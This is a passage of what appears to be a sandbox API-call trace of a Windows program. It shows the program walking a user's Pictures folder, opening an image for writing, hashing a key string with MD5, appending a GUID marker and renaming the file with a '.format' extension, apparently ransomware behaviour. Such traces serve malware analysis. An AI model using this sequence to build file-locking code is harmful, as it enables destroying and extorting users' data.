nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.486] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcebd2fd0, ftCreationTime.dwHighDateTime=0x1d4cf2d, ftLastAccessTime.dwLowDateTime=0x185cfef0, ftLastAccessTime.dwHighDateTime=0x1d4ce6a, ftLastWriteTime.dwLowDateTime=0x185cfef0, ftLastWriteTime.dwHighDateTime=0x1d4ce6a, nFileSizeHigh=0x0, nFileSizeLow=0x15a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4qhj.png", cAlternateFileName="")) returned 1 [0068.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a2a28 [0068.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd6) returned 0x31021f8 [0068.486] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\cplLZefa0txn\\4qhj.png") returned=".png" [0068.486] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\cplLZefa0txn\\4qhj.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\cpllzefa0txn\\4qhj.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.486] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=88648) returned 1 [0068.486] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.489] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x15a22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.489] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.490] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x15a48, lpOverlapped=0x0) returned 1 [0068.490] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.490] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.490] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.490] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.491] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.491] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.491] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.491] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.492] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.492] GetLastError () returned 0x0 [0068.492] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.492] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.492] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x15a48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.492] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.492] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.492] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.493] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.493] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.493] CloseHandle (hObject=0x5c8) returned 1 [0068.494] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee098 [0068.494] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.494] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\cplLZefa0txn\\4qhj.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\cpllzefa0txn\\4qhj.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\LlZj-da3Lc0SAD\\cplLZefa0txn\\4qhj.png.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\llzj-da3lc0sad\\cpllzefa0txn\\4qhj.png.format")) returned 1 [0068.495] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcebd2fd0, ftCreationTime.dwHighDateTime=0x1d4cf2d, ftLastAccessTime.dwLowDateTime=0x185cfef0, ftLastAccessTime.dwHighDateTime=0x1d4ce6a, ftLastWriteTime.dwLowDateTime=0x185cfef0, ftLastWriteTime.dwHighDateTime=0x1d4ce6a, nFileSizeHigh=0x0, nFileSizeLow=0x15a48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4qhj.png", cAlternateFileName="")) returned 0 [0068.495] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.495] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.495] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee098 [0068.495] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.496] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.496] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.497] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.497] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.498] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.499] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.499] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.500] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.500] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.501] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edff0 | out: hHeap=0x5d0000) returned 1 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.501] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.501] HeapFree (in: hHeap=0x5d0000, 